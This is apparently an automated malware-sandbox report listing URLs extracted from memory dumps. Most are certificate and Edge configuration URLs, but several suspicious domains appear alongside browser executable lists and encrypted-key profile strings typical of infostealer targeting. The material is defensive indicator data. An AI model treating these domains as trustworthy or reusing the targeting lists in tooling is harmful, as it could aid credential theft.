"http://crl.microsoft.com/pki/crl/products/microocei0-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>washington1redmond1microsoft" - Source: "00000000-00002344.00000000.146055.076F0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00002344.00000000.146055.076F0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00002344.00000000.146055.076F0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0ztn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002344.00000000.146055.076F0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002344.00000000.146055.076F0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwashiredmond1microsoft" - Source: "00000000-00002344.00000000.146055.076F0000.00000004.mdmp") Found URL "http://crl.microspki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlii\2011-03-29.crt0wx" - Source: "00000000-00002344.00000000.146055.076F0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/prod9]brooceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()+a6" - Source: "00000000-00002344.00000000.146055.076F0000.00000004.mdmp") Found URL "http://osoft.com0'6*lkfq" - Source: "00000000-00002344.00000000.146055.076F0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00002344.00000001.147976.00640000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00002344.00000001.147976.00640000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00002344.00000001.147976.00722000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00002344.00000001.147976.00722000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00002344.00000001.147976.00722000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00002344.00000001.147976.00722000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00002344.00000001.147976.00722000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00002344.00000001.147976.00722000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00002344.00000001.147976.00722000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e(" - Source: "00000000-00002344.00000001.147976.00722000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00002344.00000001.147976.00722000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00002344.00000001.147976.00722000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002344.00000001.147976.00722000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002344.00000001.147976.00722000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002344.00000001.147976.00722000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;washington1redmond1microsoft" - Source: "00000000-00002344.00000001.147976.00722000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002344.00000001.147976.00722000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002344.00000001.147976.00722000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002344.00000001.147976.00722000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002344.00000001.147976.00722000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002344.00000001.147976.00722000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl09vp(l9v8,l9v(*l9v" - Source: "00000000-00002344.00000001.147976.00722000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00002344.00000001.147976.00722000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002344.00000001.147976.00722000.00000004.mdmp") Found URL "https://authint.bcentral.cn\appdata\local" - Source: "00000000-00002344.00000001.147976.076F0000.00000004.mdmp") Found URL "https://earth.google.com$" - Source: "00000000-00002344.00000001.147976.076F0000.00000004.mdmp") Found URL "https://app.diagrams.netpdata2.23.42.7.0soda_translation_binary_pathappdata\appdata.0\appdatalast_update_checking_timedataclient_id_hash_key_creatediderprivate_key_encrypted_dataaster_app_bound_encrypted_key2.5.29.16user_laf_toggle_state_staticnpi7edge_non_signin_profile_typeedge_account_sovereigntyedge_account_environment_stringperformance_class_versionile_typeedge_profile_can_be_deletededge_account_environmentoviderforce_signin_profile_lockedis_consented_primary_accountsignin.with_credential_providerperformance_interventionment_stringaddtrust" - Source: "00000000-00002344.00000001.147976.076F0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszysgeotrust" - Source: "00000000-00002344.00000001.147976.076F0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00002344.00000001.147976.076F0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00002344.00000001.147976.076F0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00002344.00000001.147976.076F0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002344.00000001.147976.076F0000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00002344.00000001.147976.076F0000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00002344.00000001.147976.076F0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002344.00000001.147976.076F0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lhttps://edge-mobile-static.azureedge.net/eccp/get?settenant=edge-config&setplatform=win&setmkt=en-us&setchannel=stable8181e" - Source: "00000000-00002344.00000001.147976.076F0000.00000004.mdmp") Found URL "https://edge-cloud-resource-static.azureedge.net/consumer/ai-assistant/alpha/v1/static/js/realnameauth.9b5fc58a.jshttps://edge-cloud-resource-static.azureedge.net/consumer/ai-assistant/alpha/v1/static/js/realnameauth.9b5fc58a.jshttps://edge-cloud-resource-static.azureedge.net/consumer/ai-assistant/alpha/v1/static/js/realnameauth.9b5fc58a.js\device\harddiskvolume2\windows\systemresources\windows.ui.settingsappthreshold\systemsettings\assets\fonts\setmdl2.ttf\device\harddiskvolume2\windows\systemapps\microsoft.windows.cortana_cw5n1h2txyewy\cortana.internal.search.winmd\??\c:\users\hapubws\appdata\roaming\mozilla\firefox\profiles\ywzu7870.default\shield-preference-experiments.jsonhttps://edge-mobile-static.azureedge.net/eccp/get?settenant=edge-config&setplatform=win&setmkt=en-us&setchannel=stablec:\users\hapubws\appdata\local\microsoft\edge\user" - Source: "00000000-00002344.00000001.147976.076F0000.00000004.mdmp") Found URL "https://edge-mobile-static.azureedge.net/eccp/get?settenant=edge-config&setplatform=win&setmkt=en-us&setchannel=stabled9]b\device\harddiskvolume2\windows\systemresources\windows.ui.settingsappthreshold\systemsettings\assets\fonts\setmdl2.ttfc:\users\hapubws\appdata\local\microsoft\edge\user" - Source: "00000000-00002344.00000001.147976.076F0000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4" - Source: "00000000-00002344.00000001.147976.076F0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportackupindows" - Source: "00000000-00002344.00000001.147976.08930000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccodsigpca_08-31-2010.crl0zn0l0j>http://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0oft1$microsoft" - Source: "00000000-00002344.00000001.147976.08930000.00000004.mdmp") Found URL "http://www.microsoft.com/powershell" - Source: "00000000-00002344.00000001.147976.08930000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zw.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pklt.htm0@$vkt7" - Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccodsigpca_08-31-2010.crl0zn0l0j>http://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0z5)>icecat.exeicedragon.exe1205cyberfox.exefloorp.exebasilisk.exelibrewolf.exeseamonkey.exerockmelt.exelup" - Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp") Found URL "https://edge-cloud-resource-static.azureedge.net/consumer/ai-assistant/alpha/v1/static/js/sidepane.d5bcd879.jshttps://edge-cloud-resource-static.azureedge.net/consumer/ai-assistant/alpha/v1/static/js/sidepane.d5bcd879.js\device\harddiskvolume2\program" - Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0xl0j0hhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526726'," - Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526920')]" - Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526919" - Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp") Found URL "https://unisd.tonisear.com/dsfnkbertj34browser_version_of_last_seen_whats_newlocal" - Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp") Found URL "https://unisd.tonisear.cc" - Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp") Found URL "https://ootid.srv-auth-dlt-msh.in.net/was0do6si2inc:\program" - Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp") Found URL "https://ootid.srv-auth-dlt-msh.in.net/pylupdate6in\??\c:\users\hapubws\appdata\local\rockmelt\user" - Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp") Found URL "https://earth.google.comperformance_class_versionedge_non_signin_profile_typeperformance_interventionuser_laf_toggle_state_staticch_timeupdateprocthreadattributena==https://authint.bcentral.cns_activeaster_app_bound_encrypted_keylast_update_checking_timeedge_copilot_mode_enabled_stateary_pathhttps://app.diagrams.netserviceprofile_network_context_serviceforce_signin_profile_lockedtypesignin.with_credential_provideredge_account_environment_stringedge_user_topic_on_url_protobufsionountsession_id_generator_last_valueedge_profile_can_be_deletedsignin_last_updated_timeis_consented_primary_account_stringcurated_site_list_file_pathsignin_last_seen_versionactive_accounts_last_emitted\filesystem\filters\fltmgrmsgsnowdrift.vineyardstudied.cfdsnowdrift.vineyardstudied.cfdsnowdrift.vineyardstudied.cfdsnowdrift.vineyardstudied.cfdsnowdrift.vineyardstudied.cfdsnowdrift.vineyardstudied.cfd\filesystem\filters\fltmgrmsgsnowdrift.vineyardstudied.cfdsnowdrift.vineyardstudied.cfdsnowdrift.vineyardstudied.cfdsnowdrift.vineyardstudied.cfdconfig_observers_json_md5soda_translation_binary_pathefficiency_mode_v2_is_activeprofiles_orderksumards_urgent2025.7.24.0installdatecohortnamecohortnameinstalldate3057.0.0.0installdatecohortname3.0.0.16\device\condrvcentbrowser.exekometa.exechedot.exechromium.exe\login" - Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp") Found URL "https://edge-clorce-static.azure/consumer/ai-asslpha/v1/static/j73e3f1.js" - Source: "00000000-00002344.00000001.147976.08D7D000.00000004.mdmp") Found URL "https://authinal.cn" - Source: "00000000-00002344.00000001.147976.08D7D000.00000004.mdmp") Found URL "https://edge-cource-static.azu!et/consumer/ai-a" - Source: "00000000-00002344.00000001.147976.08D7D000.00000004.mdmp") Found URL "https://e.d-resource-stati3dge.net/consumer4stant/alpha/v1/s9/sidepane.d5bcd8:," - Source: "00000000-00002344.00000001.147976.08D7D000.00000004.mdmp") Found URL "https://edguree025/c5.jloneprof_res" - Source: "00000000-00002344.00000001.147976.08D7D000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00002344.00000001.147976.6F7B1000.00000020.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00002344.00000002.149897.00640000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00002344.00000002.149897.00640000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00002344.00000002.149897.00722000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00002344.00000002.149897.00722000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00002344.00000002.149897.00722000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00002344.00000002.149897.00722000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00002344.00000002.149897.00722000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00002344.00000002.149897.00722000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00002344.00000002.149897.00722000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e(" - Source: "00000000-00002344.00000002.149897.00722000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00002344.00000002.149897.00722000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00002344.00000002.149897.00722000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002344.00000002.149897.00722000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002344.00000002.149897.00722000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002344.00000002.149897.00722000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;washington1redmond1microsoft" - Source: "00000000-00002344.00000002.149897.00722000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002344.00000002.149897.00722000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002344.00000002.149897.00722000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002344.00000002.149897.00722000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002344.00000002.149897.00722000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002344.00000002.149897.00722000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl09vp(l9v8,l9v(*l9v" - Source: "00000000-00002344.00000002.149897.00722000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00002344.00000002.149897.00722000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002344.00000002.149897.00722000.00000004.mdmp") Found URL "https://authint.bcentral.cn\appdata\local" - Source: "00000000-00002344.00000002.149897.076F0000.00000004.mdmp") Found URL "https://earth.google.com$" - Source: "00000000-00002344.00000002.149897.076F0000.00000004.mdmp") Found URL "https://app.diagrams.netpdata2.23.42.7.0soda_translation_binary_pathappdata\appdata.0\appdatalast_update_checking_timedataclient_id_hash_key_creatediderprivate_key_encrypted_dataaster_app_bound_encrypted_key2.5.29.16user_laf_toggle_state_staticnpi7edge_non_signin_profile_typeedge_account_sovereigntyedge_account_environment_stringperformance_class_versionile_typeedge_profile_can_be_deletededge_account_environmentoviderforce_signin_profile_lockedis_consented_primary_accountsignin.with_credential_providerperformance_interventionment_stringaddtrust" - Source: "00000000-00002344.00000002.149897.076F0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszysgeotrust" - Source: "00000000-00002344.00000002.149897.076F0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00002344.00000002.149897.076F0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00002344.00000002.149897.076F0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00002344.00000002.149897.076F0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002344.00000002.149897.076F0000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00002344.00000002.149897.076F0000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00002344.00000002.149897.076F0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002344.00000002.149897.076F0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lhttps://edge-mobile-static.azureedge.net/eccp/get?settenant=edge-config&setplatform=win&setmkt=en-us&setchannel=stable8181e" - Source: "00000000-00002344.00000002.149897.076F0000.00000004.mdmp") Found URL "https://edge-cloud-resource-static.azureedge.net/consumer/ai-assistant/alpha/v1/static/js/realnameauth.9b5fc58a.jshttps://edge-cloud-resource-static.azureedge.net/consumer/ai-assistant/alpha/v1/static/js/realnameauth.9b5fc58a.jshttps://edge-cloud-resource-static.azureedge.net/consumer/ai-assistant/alpha/v1/static/js/realnameauth.9b5fc58a.js\device\harddiskvolume2\windows\systemresources\windows.ui.settingsappthreshold\systemsettings\assets\fonts\setmdl2.ttf\device\harddiskvolume2\windows\systemapps\microsoft.windows.cortana_cw5n1h2txyewy\cortana.internal.search.winmd\??\c:\users\hapubws\appdata\roaming\mozilla\firefox\profiles\ywzu7870.default\shield-preference-experiments.jsonhttps://edge-mobile-static.azureedge.net/eccp/get?settenant=edge-config&setplatform=win&setmkt=en-us&setchannel=stablec:\users\hapubws\appdata\local\microsoft\edge\user" - Source: "00000000-00002344.00000002.149897.076F0000.00000004.mdmp") Found URL "https://edge-mobile-static.azureedge.net/eccp/get?settenant=edge-config&setplatform=win&setmkt=en-us&setchannel=stabled9]b\device\harddiskvolume2\windows\systemresources\windows.ui.settingsappthreshold\systemsettings\assets\fonts\setmdl2.ttfc:\users\hapubws\appdata\local\microsoft\edge\user" - Source: "00000000-00002344.00000002.149897.076F0000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4" - Source: "00000000-00002344.00000002.149897.076F0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportackupindows" - Source: "00000000-00002344.00000002.149897.08930000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccodsigpca_08-31-2010.crl0zn0l0j>http://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0oft1$microsoft" - Source: "00000000-00002344.00000002.149897.08930000.00000004.mdmp") Found URL "http://www.microsoft.com/powershell" - Source: "00000000-00002344.00000002.149897.08930000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zw.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pklt.htm0@$vkt7" - Source: "00000000-00002344.00000002.149897.08BF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccodsigpca_08-31-2010.crl0zn0l0j>http://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0" - Source: "00000000-00002344.00000002.149897.08BF0000.00000004.mdmp") Found URL "https://edge-cloud-resource-static.azureedge.net/consumer/ai-assistant/alpha/v1/static/js/sidepane.d5bcd879.jshttps://edge-cloud-resource-static.azureedge.net/consumer/ai-assistant/alpha/v1/static/js/sidepane.d5bcd879.js\device\harddiskvolume2\program" - Source: "00000000-00002344.00000002.149897.08BF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0xl0j0hhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00002344.00000002.149897.08BF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002344.00000002.149897.08BF0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526726'," - Source: "00000000-00002344.00000002.149897.08BF0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526920')]" - Source: "00000000-00002344.00000002.149897.08BF0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526919" - Source: "00000000-00002344.00000002.149897.08BF0000.00000004.mdmp") Found URL "https://unisd.tonisear.com/dsfnkbertj34browser_version_of_last_seen_whats_newlocal" - Source: "00000000-00002344.00000002.149897.08BF0000.00000004.mdmp") Found URL "https://unisd.tonisear.cc" - Source: "00000000-00002344.00000002.149897.08BF0000.00000004.mdmp") Found URL "https://ootid.srv-auth-dlt-msh.in.net/was0do6si2inc:\program" - Source: "00000000-00002344.00000002.149897.08BF0000.00000004.mdmp") Found URL "https://ootid.srv-auth-dlt-msh.in.net/pylupdate6in\??\c:\users\hapubws\appdata\local\rockmelt\user" - Source: "00000000-00002344.00000002.149897.08BF0000.00000004.mdmp") Found URL "https://earth.google.comperformance_class_versionedge_non_signin_profile_typeperformance_interventionuser_laf_toggle_state_staticch_timeupdateprocthreadattributena==https://authint.bcentral.cns_activeaster_app_bound_encrypted_keylast_update_checking_timeedge_copilot_mode_enabled_stateary_pathhttps://app.diagrams.netserviceprofile_network_context_serviceforce_signin_profile_lockedtypesignin.with_credential_provideredge_account_environment_stringedge_user_topic_on_url_protobufsionountsession_id_generator_last_valueedge_profile_can_be_deletedsignin_last_updated_timeis_consented_primary_account_stringcurated_site_list_file_pathsignin_last_seen_versionactive_accounts_last_emitted\filesystem\filters\fltmgrmsgsnowdrift.vineyardstudied.cfdsnowdrift.vineyardstudied.cfdsnowdrift.vineyardstudied.cfdsnowdrift.vineyardstudied.cfd\??\c:\windows\syswow64\snowdrift.vineyardstudied.cfdsnowdrift.vineyardstudied.cfd\filesystem\filters\fltmgrmsgsnowdrift.vineyardstudied.cfdsnowdrift.vineyardstudied.cfdsnowdrift.vineyardstudied.cfdsnowdrift.vineyardstudied.cfd\??\c:\windows\system32\config_observers_json_md5soda_translation_binary_pathefficiency_mode_v2_is_activeprofiles_orderksumards_urgent2025.7.24.0installdatecohortnamecohortnameinstalldate3057.0.0.0installdatecohortname3.0.0.16\device\condrvcentbrowser.exekometa.exechedot.exechromium.exe\login" - Source: "00000000-00002344.00000002.149897.08BF0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00002344.00000002.149897.6F161000.00000020.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00002344.00000002.149897.6F161000.00000020.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllpconfigut-53e7e780-2330-40c6-94c6-be75e946e933software\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;l